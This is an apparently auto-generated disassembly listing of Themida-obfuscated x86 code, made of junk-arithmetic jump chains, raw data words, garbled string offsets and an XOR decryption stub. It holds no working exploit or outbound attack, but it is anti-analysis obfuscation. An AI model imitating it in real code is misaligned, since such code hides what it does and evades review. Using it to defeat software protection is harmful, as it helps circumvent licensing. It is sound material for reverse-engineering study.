loc_55CF6E:				; CODE XREF: Themida_:005574CAj
		push	eax
		mov	eax, 34572479h
		dec	eax
		or	eax, 439A291Dh
		or	eax, 623735DFh
		jmp	loc_559FD8
; ---------------------------------------------------------------------------
		dd 237568h, 240C8900h, 0FF6125E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CF91:				; CODE XREF: Themida_:00552E87j
		jmp	loc_551815
; ---------------------------------------------------------------------------
		dw 0CAB7h
		dd 0F780D7F6h, 5BF98842h, 242C8651h, 8852D5F6h,	246C8AEAh
		dd 24548804h, 78FE904h,	34FF0000h, 57A6E924h, 0C483FFFFh
		dd 5E3AE904h, 8B66FFFFh, 0F168240Ch, 89000065h,	0EC81241Ch
		dd 4, 0E9242489h, 0FFFFAED9h, 59CB015Fh, 0FF85BDE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554F65
; ---------------------------------------------------------------------------
		db 83h
		dd 0B66804C4h, 89000016h, 33E9243Ch
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D007:				; CODE XREF: Themida_:00554E14j
		jmp	loc_551815
; ---------------------------------------------------------------------------
		dd 48B665Ch, 30E95324h,	81000005h, 1E2EF6CBh, 36E38138h
		dd 4B12442Fh, 5605C381h, 0B9512A4Bh, 1936A938h,	6859CB01h
		dd 57C2h, 5DCE9h, 4EC8300h, 83242489h, 0E9042404h, 0FFFFFDC7h
		dd 34FFF829h, 243C8B24h, 8104C483h, 4C4h, 513E2D00h, 74E92D48h
		dd 81FFFFB8h, 4C2h, 4C28300h, 5C241487h, 0E904C483h, 0FFFFEDB0h
; ---------------------------------------------------------------------------


loc_55D07C:				; CODE XREF: Themida_:00555A06j
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_557FAA
; ---------------------------------------------------------------------------


loc_55D094:				; CODE XREF: Themida_:00557C17j
		push	ecx
		mov	ecx, 41DB0C4Ah
		not	ecx
		add	ecx, 51305201h
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		sub	ecx, 0F0AABA45h
		add	edx, ecx
		pop	ecx
		add	edx, 4
		jmp	loc_5570C4
; ---------------------------------------------------------------------------
		db 1, 0DAh, 0E9h
		dd 0FFFFEA12h, 55240C8Bh, 45E95D54h, 8BFFFF4Eh,	0E956243Ch
		dd 0FFFF8CCEh, 5D7EEF81h, 0F70179E1h, 0FF799DE9h, 0E9EF89FFh
		dd 0FFFFF2CBh, 148BD729h, 4C48124h, 0E9000000h,	0FFFF588Bh
		dd 0DF95E955h, 4BDFFFFh, 1000000h, 0B8505DEEh, 45E859B1h
		dd 3022292Dh, 0A4EE94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D116:				; CODE XREF: Themida_:00551C8Cj
		xor	[edi+20h], esi
		push	edx
		mov	edx, 20h
		add	edx, edi
		xor	dword ptr [edx], 25C21903h
		pop	edx


loc_55D128:				; CODE XREF: Themida_:0055A644j
					; Themida_:loc_55CE89j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_557C14
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF46DDh, 0BE243489h, 667906E3h, 0FFCBD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D145:				; CODE XREF: Themida_:0055AE22j
		pop	eax
		jmp	loc_5593DF
; ---------------------------------------------------------------------------
		db 1
		dd 0EF0159CDh, 2C7835Dh, 2474FF57h, 0DC48E904h,	0EB81FFFFh
		dd 0B8CE2C58h, 505BD901h, 8A71D3B8h, 58DE3548h,	0C8E942C3h
		dd 80FFFF88h, 0EA802DEAh, 0E9D2F64Eh, 0A54h, 240C8B66h
		dd 0B06CE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D18E:				; CODE XREF: Themida_:005583E8j
		add	edi, 47771123h
		mov	ecx, edi
		pop	edi
		not	ecx
		push	ecx
		neg	dword ptr [esp]
		jmp	loc_55A086
; ---------------------------------------------------------------------------


loc_55D1A2:				; CODE XREF: Themida_:0055436Dj
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		pop	eax
		pop	ebp
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 338E7AFDh
		neg	ebx
		jmp	loc_55C885
; ---------------------------------------------------------------------------
		db 92h
		dd 92FFC083h, 5702EAC1h, 0FC0B23BFh, 0D113E940h, 1487FFFFh
		dd 85E95C24h, 81FFFF8Ch, 1EBh, 0CA41E900h, 0C283FFFFh
		dd 24148704h, 0FFC8D1E9h, 81565AFFh, 5A592404h,	0E6E94DDBh
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D203:				; CODE XREF: Themida_:00558BD0j
		mov	ecx, 5CDB201Eh
		shl	ecx, 3
		and	ecx, 1B547F8Fh
		or	ecx, 41CF764Fh
		dec	ecx
		sub	ecx, 4F0E7F6Dh
		xor	ecx, 0A189D0D2h
		xor	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 0F11D8687h
		add	edx, ebx
		jmp	loc_55C7DC
; ---------------------------------------------------------------------------
		dd 0C1000BB9h, 0F7F1871Ah, 0C1F187D6h, 0E9C103E9h, 4DC18107h
		dd 8105A959h, 0F3BFDFF1h, 59C83149h, 90D68h, 241C8900h
		dd 0FFEFD4E9h, 369AB9FFh, 0D4E94703h, 5EFFFFE3h, 5C240487h
		dd 0FF8AB4E9h, 241489FFh, 9568E289h, 0E9000071h, 0FFFFC1CAh
		dd 81240C8Bh, 4C4h, 241C8700h, 5024248Bh, 4B8h,	58C70100h
		dd 5C243C87h, 0FF7C4DE9h, 0A3E94EFFh, 8BFFFFEAh, 34FF2424h
		dd 4CE95824h, 51FFFFBBh, 0FF9912E9h, 4CCB68FFh,	815A267Ah
		dd 0DC689FEAh, 5AD58941h, 20E9EA89h, 0F7FFFFC3h, 0FF681D6h
		dd 0F7EB00EBh, 0EE814ED6h, 46957778h, 4BB2BD55h, 0EE31080Eh
		dd 0FF543FE9h, 88EF81FFh, 59205B60h, 0ECE9D7F7h, 81FFFF92h
		dd 4C4h, 24048F00h, 69E95Ch, 6FB30000h,	5066C3FEh, 690A68h
		dd 24148900h, 0FFC0B6E9h, 0C875FFFh, 0EDEAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D32A:				; CODE XREF: Themida_:0055BC92j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_55855C
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 240C8924h, 0FF44CCE9h, 0C3015AFFh, 0FF4E6FE9h, 0E0E954FFh
		dd 50FFFF7Ch, 0FA57DEB8h, 58C10175h, 4E9E901h, 20FFFF7Ch
		dd 0DCF65AF4h, 830EC80h, 8E958E7h, 8, 0E99C2404h, 0FFFF4495h
		dd 4EBC14Bh, 97BEC381h,	0DA295CDCh, 81EA015Bh, 6B29D1C2h
		dd 0FCE95D5Eh, 0C0FFFF67h, 0A3405E0h, 0FFC877E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D3A5:				; CODE XREF: Themida_:0055C608j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55B017
; ---------------------------------------------------------------------------
		db 0B1h, 0CDh, 0F6h
		dd 80C1FED9h, 0CC8883C1h, 83240C8Bh, 0EC8004C4h, 97C480ECh
		dd 0FFE076E9h, 0FFD031FFh, 148B2434h, 4C48324h,	4C481h
		dd 0EC830000h, 243C8904h, 0FF6C50E9h, 665F66FFh, 0C4B7E952h
		dd 0E952FFFFh, 0FFFF8514h, 240C8B66h, 220E68h, 877DE900h
		dd 1C89FFFFh, 68E38924h, 2B8Bh,	0FF5CA8E9h, 4C481FFh, 1000000h
		dd 4EC81C3h, 0E9000000h, 0FFFF7A50h, 8104C483h,	0CF4BABE9h
		dd 81D10109h, 0CF4BABC1h, 0F82DE909h, 0CFFEFFFFh, 0EF80CFFEh
		dd 2EFC02Dh, 0FFF72DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D459:				; CODE XREF: Themida_:0055D7E2j
		add	esp, 4
		sub	eax, 38FD25CDh
		mov	ecx, [esp]
		add	esp, 4
		shl	eax, cl
		push	edi
		mov	edi, 1
		push	edi
		jmp	loc_55D754
; ---------------------------------------------------------------------------


loc_55D478:				; CODE XREF: Themida_:0055C88Bj
		add	esi, 0FD90435Ch
		or	ebx, esi
		jmp	loc_5562AF
; ---------------------------------------------------------------------------
		db 0BBh, 0ADh, 52h
		dd 0F3811DC1h, 1DC152AFh, 40E6C181h, 0C1811A3Bh, 4A70E4h
		dd 0BB53D901h, 468017F0h, 6714F381h, 0D92946CAh, 0E6BD555Bh
		dd 291A3B40h, 1C8B5DE9h, 0E1895124h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 197E9h, 6FE95A00h, 68FFFF76h, 711Ch, 0E9241C89h
		dd 0FFFF537Ch, 0E953555Fh, 0FFFF9EB4h, 58BF575Eh, 0D178C509h
		dd 777BE9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D4FA:				; CODE XREF: Themida_:00557D3Ej
		mov	edx, 413802E3h
		sub	[esp+4], edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55A018
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 10E914EEh
		or	ecx, 7240C54h
		or	ecx, 377A02D0h
		add	ecx, 0C800E106h
		add	ebp, ecx
		pop	ecx
		jmp	loc_554B76
; ---------------------------------------------------------------------------
		db 1
		dd 0AAE95BDDh, 51FFFFE7h, 0E4E908B5h, 83FFFFD4h, 248904ECh
		dd 4BD5524h, 1000000h, 5D04246Ch, 57241C8Bh, 2268E789h
		dd 0E9000023h, 0FFFFFBD0h, 82CA0B05h, 0D3C6819Ch, 14DD618h
		dd 0D3EE81C6h, 584DD618h, 8704C683h, 248B2434h,	8268E924h
		dd 0F681FFFFh, 56707D4Eh, 9E9DEF7h, 0F6FFFFBDh,	8EDC0D5h
		dd 0FF95ECE9h, 2434FFFFh, 0FFD9F9E9h, 24048FFFh, 0FF5D14E9h
		dd 0E58058FFh, 6E5C05Ch, 8008EDC0h, 8C2CC6C5h, 8C04E800h
		dd 592434FFh, 6804C483h, 183Bh,	0B5240C89h, 65E7E999h
		dd 535FFFFFh, 4BBh, 0B71FE900h,	2C8AFFFFh, 0D0CEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D5EE:				; CODE XREF: Themida_:005557AFj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_552697
; ---------------------------------------------------------------------------
		dd 9DE9F088h, 8BFFFF49h, 0C4812414h, 4,	0FF41FCE9h, 241C89FFh
		dd 0C242C81h, 5F172F7Fh, 7F0CC781h, 1C8B172Fh, 4C48324h
		dd 8102E7C1h, 2DAE47EFh, 0C4684739h, 8900006Ch,	0BF57241Ch
		dd 3ABB4D6Bh, 0F75FFB89h, 6302E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D652:				; CODE XREF: Themida_:0055DCC4j
		add	esp, 4
		jmp	loc_559D34
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 11589D1Ch, 0E99C2404h, 0FFFF41ADh, 8B240C87h, 1662424h
		dd 0E99C2404h, 0FFFF419Dh, 0C681E689h, 4, 0E904C683h, 0FFFF7746h
		dd 46E5E95Ch, 21BDFFFFh, 4D296F4Ah, 0EC83E5D1h,	24148904h
		dd 0F07982BAh, 9C3EE958h, 7F68FFFFh, 8900001Ah,	3AE92424h
		dd 87FFFFBFh, 248B2404h, 53E1F724h, 0E3E9E389h,	55FFFF8Ch
		dd 9D112EBDh, 0B0E94569h, 1FFFF63h, 0D8295BD8h,	5075BE56h
		dd 0F72D7FE3h, 29685B56h, 0EB98E9F0h, 0EF09FFFFh, 0FF6DA9E9h
		dd 243C33FFh, 0FFDCB1E9h, 0E9CB01FFh, 0FFFFFB88h, 0E981D1F7h
		dd 6F9B0007h, 2392C181h, 4CE94591h, 53FFFFEFh, 424D5CBBh
		dd 30EB817Dh, 817A9F07h, 0E904C3F3h, 5BDA0912h,	97E9DAF7h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D72B:				; CODE XREF: Themida_:005531FEj
		add	ebp, ecx
		sub	ebp, 1EC17E61h
		push	5400h
		mov	[esp], edi
		mov	edi, 64537AD8h
		jmp	loc_554357
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 0Ch
		dd 4C48124h, 0E9000000h, 0FFFF8F92h
; ---------------------------------------------------------------------------


loc_55D754:				; CODE XREF: Themida_:0055D473j
		push	ebx
		mov	ebx, 6E6349FBh
		xor	ebx, 3C63198h
		push	edx
		mov	edx, 6D9377FCh
		sub	ebx, edx
		pop	edx
		jmp	loc_55DB23
; ---------------------------------------------------------------------------


loc_55D76E:				; CODE XREF: Themida_:00558ACEj
		xor	ah, 0D4h
		sub	ah, 9Fh
		jmp	loc_55C2A6
; ---------------------------------------------------------------------------
		db 68h,	0DDh, 72h
		dd 555A2B6Ch, 0BD1B4ABDh, 6B87E96Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D78A:				; CODE XREF: Themida_:00556F79j
		push	eax
		mov	ah, 0EAh
		sub	esp, 4
		jmp	loc_556CD3
; ---------------------------------------------------------------------------
		db 59h,	33h, 34h
		dd 0DCF9E924h, 0E389FFFFh, 4C381h, 0C7E90000h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D7AB:				; CODE XREF: Themida_:0055A273j
		sub	bl, ch
		pop	ecx
		sub	bl, 2Fh
		sub	bl, 0B6h
		sub	bl, ah
		add	bl, 0B6h
		add	bl, 2Fh
		push	edx
		jmp	loc_5548F1
; ---------------------------------------------------------------------------
aHe_		db '[h…_',0
		align 4
		dd 0E9243489h, 0FFFFDAEDh
; ---------------------------------------------------------------------------


loc_55D7D0:				; CODE XREF: Themida_:0055C6F1j
		pop	eax
		add	eax, 7F882A59h
		push	dword ptr [esp]
		jmp	loc_555F79
; ---------------------------------------------------------------------------


loc_55D7DE:				; CODE XREF: Themida_:00557C0Fj
		pop	eax
		mov	eax, [esp]
		jmp	loc_55D459
; ---------------------------------------------------------------------------
		db 83h
		dd 0C80F04C4h, 204368h,	24048900h, 0FF401CE9h, 27B868FFh
		dd 34890000h, 4BE24h, 0F3010000h, 241C875Eh, 8024248Bh
		dd 0B65290EBh, 5AF30093h, 0B252C328h, 80DAF636h, 0BE9E0C2h
		dd 89FFFF49h, 5B505BD8h, 62BD5558h, 9783674h, 242C8BEBh
		dd 0F704C483h, 6518E9D3h, 248BFFFFh, 24048924h,	0BB535854h
		dd 4, 1D61BB53h, 0BBE90805h, 0B2FFFF8Ch, 66D328BFh, 28F7045Ah
		dd 8BF72CD8h, 0C481241Ch, 4, 7DE9DD2Ch
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D877:				; CODE XREF: Themida_:00557A21j
		pop	ebx
		mov	edx, [esp]
		jmp	loc_55B77C
; ---------------------------------------------------------------------------
		dd 0B04C483h, 48840FC0h, 0FFFFFF60h, 0B8501C77h, 1F06324Bh
		dd 662DD8F7h, 0E9B4285Dh, 169h,	240C8B66h, 0FF473FE9h
		dd 0BA5250FFh, 4, 148B5852h, 9693E924h,	0AEB9FFFFh, 567DD5C5h
		dd 6F53C1BEh, 7F68137h,	29503175h, 2FE95EF0h, 89FFFFBAh
		dd 12E9243Ch, 89FFFFE0h, 0F4BD242Ch, 8176247Ch,	247CF0F5h
		dd 0FFE80176h, 815D2434h, 4C4h,	7D1CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D8FA:				; CODE XREF: Themida_:0055A7B3j
		sub	esi, 31C41EA3h
		add	esi, eax
		jmp	loc_55CC37
; ---------------------------------------------------------------------------
		db 81h
		dd 3D32D0EBh, 0CB815A5Bh, 4966351Eh, 55BBCB81h,	0EB812C93h
		dd 0DA7515Dh, 4B38CB81h, 0C38145EFh, 450653D6h,	0C354F381h
		dd 0DE01AB05h, 0E689565Bh, 0FF5E39E9h, 66E92CFFh, 666FE968h
		dd 0B5240C89h, 2A4E9F4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D94E:				; CODE XREF: Themida_:0055C385j
		mov	edx, 492955B7h
		not	edx
		sub	edx, 3F4D0429h
		shr	edx, 7
		add	edx, 63CC41ACh
		not	edx
		jmp	loc_5545EB
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFAC76E9h, 57C281FFh, 4A47437Bh, 5F84C281h,	52533F7Eh
		dd 0FF93F8E9h, 24248BFFh, 5A66D028h, 4F7468h, 240C8900h
		dd 0FFBC9CE9h, 2FC381FFh, 5F099931h, 298868h, 24048900h
		dd 36215AB8h, 58C30122h, 0EB81C301h, 2236215Ah,	37768h
		dd 0E157E900h, 0C166FFFFh, 816607E5h, 664F2CC5h, 0E908E5C1h
		dd 0FFFFA082h, 8A05E95Bh, 0EC81FFFFh, 4, 5F241489h, 8BFB895Ah
		dd 8952243Ch, 4C281E2h,	0E9000000h, 0FFFFCF46h,	3124248Bh
		dd 12E92404h, 5AFFFF3Eh, 0FF954CE9h, 246C81FFh,	8717C04h
		dd 0DB85033h, 0E90C6636h, 0FFFFA9D1h, 5F56E95Dh, 2BDFFFFh
		dd 0E9000000h, 0FFFF4AC8h
; ---------------------------------------------------------------------------


loc_55DA2C:				; CODE XREF: Themida_:0055CB6Fj
		push	esi
		mov	esi, 4C9E7AEEh
		mov	ebx, 80D99A72h
		sub	ebx, esi
		pop	esi
		mov	ecx, 0D29D1214h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 71536BEFh
		shl	ecx, 8
		jmp	loc_557EF9
; ---------------------------------------------------------------------------
		dd 0E9565153h, 0FFFF8840h, 0FF24248Bh, 68592434h, 78CFh
		dd 54242C89h, 0FFE2E95Dh, 0E95AFFFFh, 0FFFF6A59h
; ---------------------------------------------------------------------------


loc_55DA74:				; CODE XREF: Themida_:0055BEF5j
		add	eax, 5E4B2A51h
		shr	eax, 5
		xor	eax, 466B5A6h
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 2
		add	ebx, 0E47129h
		sub	ebx, edi
		sub	ebx, 0E47129h
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_5549FA
; ---------------------------------------------------------------------------
		dw 0E0D1h
		dd 0FFE876E9h, 4BB868FFh, 1C890000h, 0CEBB6624h, 0BB66536Dh
		dd 0F7660AFFh, 0E38166D3h, 81661071h, 666B63EBh, 665BD989h
		dd 0F3E9D931h, 0E9FFFF46h, 0FFFF3D35h, 0E98FB652h, 0FFFFD388h
		dd 0D0681D2Ch, 8900000Dh, 0E189240Ch, 4C181h, 0E9830000h
		dd 240C8702h, 0FFC258E9h, 4C481FFh, 28000000h, 0C30059EBh
		dd 0FF94F9E9h, 9BD55FFh, 0C15FA23Ah, 44E907EDh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DB23:				; CODE XREF: Themida_:0055D769j
		push	edx
		mov	edx, 40726B7Dh
		sub	ebx, edx
		pop	edx
		dec	ebx
		xor	ebx, 9A83D754h
		jmp	loc_55C739
; ---------------------------------------------------------------------------
		dd 335BD801h, 0E6E92404h, 8BFFFF78h, 6F682424h,	8900003Ah
		dd 0FAE9241Ch, 8BFFFF53h, 0E9532404h, 0FFFFFC42h, 0E9243489h
		dd 0FFFF57EBh, 2C10BE56h, 0DEF764C9h, 0D893E94Eh, 15EFFFFh
		dd 34875FFEh, 0EDE95C24h, 50FFFFE0h, 0E728C6B4h, 8BFA2858h
		dd 0C483241Ch, 3FE904h,	5C010000h, 6C810824h, 64940824h
		dd 0E95B3859h, 0FFFF54AFh
; ---------------------------------------------------------------------------


loc_55DBA4:				; CODE XREF: Themida_:0055BFC7j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, edx
		mov	edx, [esp]
		push	esi
		push	65D1h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_555B9E
; ---------------------------------------------------------------------------
		db 28h,	0D0h, 0E9h
		dd 0FFFF5250h, 2801EA80h, 0B8B6E9D5h, 1C89FFFFh, 2474FF24h
		dd 48F5B04h, 0FF51E924h, 7B04FFFFh, 0E800EE04h,	7B2CEE2Ch
		dd 75045966h, 752CD828h, 0FFBB01E9h, 243C31FFh,	8B243C33h
		dd 4202424h, 0FAE99C24h, 0C0FFFF3Bh, 2EE906E9h,	53FFFF55h
		dd 0D3685156h, 597C360Ch, 0E9D14141h, 3026C181h, 0CE891A20h
		dd 0E30BE959h, 30ACFFFFh, 92B753D8h, 0E904EC83h, 0FFFFDCBEh
		dd 8B5EF101h, 43E9243Ch, 8BFFFFB2h, 26682404h, 89000027h
		dd 0FF54241Ch, 1C8B2434h, 4C48124h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_55348D
; ---------------------------------------------------------------------------
		dd 0E3648BBFh, 70B85060h, 350ED229h, 78EB2226h,	0FFDC36E9h
		dd 0C06855FFh, 5D3CD63Dh, 4244481h, 0B26361Dh, 4246C01h
		dd 0FFB9B8E9h, 0E9E289FFh, 0FFFF6133h, 5124148Bh, 0D5E9E189h
		dd 89FFFF3Ch, 0FA015DEFh, 0FF8BADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DCC1:				; CODE XREF: Themida_:00557FAEj
		mov	edi, [esp]
		jmp	loc_55D652
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0E1h
		dd 1DBF1EC4h, 0FFD3E0E9h, 2474FFFFh, 48F5A04h, 0AEE95C24h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DCE3:				; CODE XREF: Themida_:0055AC9Ej
		shl	eax, 1
		add	eax, 0D42D2204h
		add	ebp, 6C2C7DD8h
		add	ebp, eax
		sub	ebp, 6C2C7DD8h
		mov	eax, [esp]
		jmp	loc_553FCC
; ---------------------------------------------------------------------------
		dd 0D4613DB9h, 0FEE95752h, 31FFFF5Ah, 3C33243Ch, 89665C24h
		dd 6AE92404h, 59FFFF5Ch, 0FF86D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DD21:				; CODE XREF: Themida_:005528D9j
		mov	eax, 386D084Bh
		or	eax, 1B686919h
		shr	eax, 7
		add	eax, 34369044h
		jmp	loc_557038
; ---------------------------------------------------------------------------
		dd 148BD601h, 4C48124h,	89000000h, 0E9C15EF1h, 7AC18107h
		dd 31DE0BECh, 6F9CE9CBh, 0D389FFFFh, 5224148Bh,	0FFA33FE9h
		dd 240489FFh, 0A3E9E089h, 89FFFFE7h, 4C781E7h, 0E9000000h
		dd 0FFFF5CF5h, 0A169DDh, 0CF3E8D8Dh, 5B7A9Ah, 0AE0Eh, 0F9AC9A0Dh
		dd 7FFE0304h, 5C3419E8h, 217h, 2, 1, 0
		dd 0F9AC9A0Dh, 5 dup(0)
		dd offset aPhFXqsf	; "Ph+F(%XQéF½"
		dd offset dword_564E28
		dd offset aPuOSc	; "PU½<OÒ éC·"
		dd offset byte_56EF67
		dd offset word_57142E
		dd offset aNsD		; "­é¼¤"
		dd offset byte_56448F
		dd offset byte_5698E5
		dd offset word_56E2BA
		dd offset dword_568C24
		dd offset aN1S		; "­1Øé>("
		dd offset byte_56A323
		dd offset word_5627C6
		dd offset byte_57002B
		dd offset byte_56571D
		dd offset word_56E16A
		dd offset byte_5609EB
		dd offset word_56F64E
		dd offset word_562F46
		dd offset byte_56F051
		dd offset word_55E4E2
		dd offset byte_56E949
		dd offset dword_5728E0
		dd offset byte_566079
		dd offset byte_56BE35
		dd offset word_56929E
		dd offset byte_56D04D
		dd offset dword_562FB0
		dd offset dword_568818
		dd offset byte_560D4F
		dd offset byte_562C0D
		dd offset word_56F91E
		dd offset word_568E3A
		dd offset dword_561814
		dd offset word_564D36
		dd offset byte_569AE3
		dd offset dword_5605AC
		dd offset word_5712F6
		dd offset dword_566AF8
		dd offset byte_568261
		dd offset dword_5717F0
		dd offset byte_564E67
		dd offset byte_56B2E1
		dd offset off_5617F2
		dd offset byte_56D955
		dd offset byte_5609A7
		dd offset aRtst		; "RTéâ½"
		dd offset aMsY		; "¬éÌY"
		dd offset byte_564ABF
		dd offset byte_56D1F1
		dd offset byte_570329
		dd offset byte_564F05
		dd offset dword_55F244
		dd offset byte_56E037
		dd offset dword_56D7F4
		dd offset word_5700F2
		dd offset byte_55E59F
		dd offset byte_566D79
		dd offset dword_566044
		dd offset byte_567973
		dd offset dword_571CD0
		dd offset byte_570941
		dd offset byte_567E83
		dd offset word_56258A
		dd offset byte_567105
		dd offset dword_55F1E8
		dd offset byte_5632BB
		dd offset byte_566697
		dd offset byte_56E631
		dd offset word_56912E
		dd offset dword_56EED8
		dd offset byte_5682CD
		dd offset byte_56AA3D
		dd offset word_560916
		dd offset byte_56562D
		dd offset aMhtl		; "¬hTl"
		dd offset byte_563F6D
		dd offset byte_56FD0F
		dd offset aMhn		; "¬hN:"
		dd offset byte_561241
		dd offset byte_567053
		dd offset aN1Hg		; "­1ØhG"
		dd offset dword_56F85C
		dd offset byte_57143F
		dd offset byte_56EA6F
		dd offset word_567D4A
		dd offset dword_55F818
		dd offset dword_566EEC
		dd offset word_5622D2
		dd offset byte_5606A1
		dd offset byte_57070F
		dd offset byte_5672D5
		dd offset byte_57049D
		dd offset dword_56E438
		dd offset byte_56D451
		dd offset word_562052
		dd offset byte_56AF77
		dd offset aM0Usz	; "¬0ØUéZ¸"
		dd offset byte_55EF09
		dd offset byte_56885F
		dd offset byte_5647C7
		dd offset byte_56D549
		dd offset word_56491A
		dd offset byte_56DC27
		dd offset dword_56C0A8
		dd offset word_562956
		dd offset word_568AFA
		dd offset byte_56DCED
		dd offset dword_5690A4
		dd offset byte_56746B
		dd offset byte_5631E9
		dd offset off_566224
		dd offset word_55F0BE
		dd offset word_56E266
		dd offset byte_571FD7
		dd offset byte_567A3F
		dd offset aM0StS	; "¬0ØST[éËÑ"
		dd offset byte_568071
		dd offset word_56D3C2
		dd offset byte_561357
		dd offset word_56084A
		dd offset byte_568ECB
		dd offset word_569B96
		dd offset word_560D42
		dd offset aNrsq		; "­RéQ+"
		dd offset word_566D32
		dd offset word_56D25E
		dd offset aNs_0		; "­é|»"
		dd offset byte_571E1B
		dd offset byte_56A657
		dd offset dword_561F80
		dd offset byte_56480D
		dd offset dword_570380
		dd offset word_56DA66
		dd offset byte_571DFB
		dd offset dword_55F088
		dd offset byte_56F6EF
		dd offset dword_572A7C
		dd offset aMrszt	; "¬RéZT"
		dd offset byte_56F177
		dd offset byte_56531D
		dd offset byte_56C2EF
		dd offset word_55F3CE
		dd offset byte_55F683
		dd offset byte_56F7FD
		dd offset byte_572B75
		dd offset byte_561921
		dd offset byte_56524B
		dd offset byte_56F523
		dd offset aNursr_	; "­URéà_"
		dd offset aMsa		; "¬é Ý"
		dd offset byte_566AEF
		dd offset dword_565738
		dd offset word_56D106
		dd offset aNwpsi	; "­WPéIµ"
		dd offset dword_5694F0
		dd offset dword_5712B8
		dd offset byte_566629
		dd offset byte_565C23
		dd offset dword_561E18
		dd offset byte_565C13
		dd offset byte_56592F
		dd offset word_56E29E
		dd offset word_56A782
		dd offset byte_5653DD
		dd offset byte_56C71C
		dd offset word_562ABA
; ---------------------------------------------------------------------------


loc_55E058:				; CODE XREF: Themida_:0059FE3Cj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6A94653h
		mov	eax, edi
		add	edi, 6A9436Bh
		cmp	eax, [edi+2Ch]
		jnz	short loc_55E076
		jmp	short loc_55E089
; ---------------------------------------------------------------------------


loc_55E076:				; CODE XREF: Themida_:0055E072j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55E085
; ---------------------------------------------------------------------------


loc_55E080:				; CODE XREF: Themida_:0055E087j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55E085:				; CODE XREF: Themida_:0055E07Ej
		or	ecx, ecx
		jnz	short loc_55E080


loc_55E089:				; CODE XREF: Themida_:0055E074j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55E096:				; CODE XREF: Themida_:0055E09Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55E096


loc_55E09F:				; CODE XREF: Themida_:005600A2j
					; Themida_:00560461j ...
		lodsb
		xor	al, bl
		push	small 0BC5h
		mov	[esp], cx
		push	611Fh
		mov	[esp], eax
		jmp	loc_56C0D1
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0B951D001h, 32316506h, 2D59C801h, 691C3C5Ch,	8904EC83h
		dd 0E9522434h, 9F91h, 1D5515B9h, 1BC1812Eh, 29177E0Dh
		dd 1BE981C1h, 58177E0Dh, 0F9E981h, 0E981328Fh, 0C095EFAh
		dd 0E905E1C1h, 984Dh, 30ADC181h, 0F181694Dh, 0D35E4E61h
		dd 767DE9h, 5AD73100h, 515FF801h, 34A06B9h, 0FFE98175h
		dd 81FFFFFFh, 0B7196E9h, 6EE98145h, 516C7F36h, 592414F7h
		dd 0F181D9F7h, 89F6A78Fh, 206E682Dh, 5C8017Eh, 7E206E68h
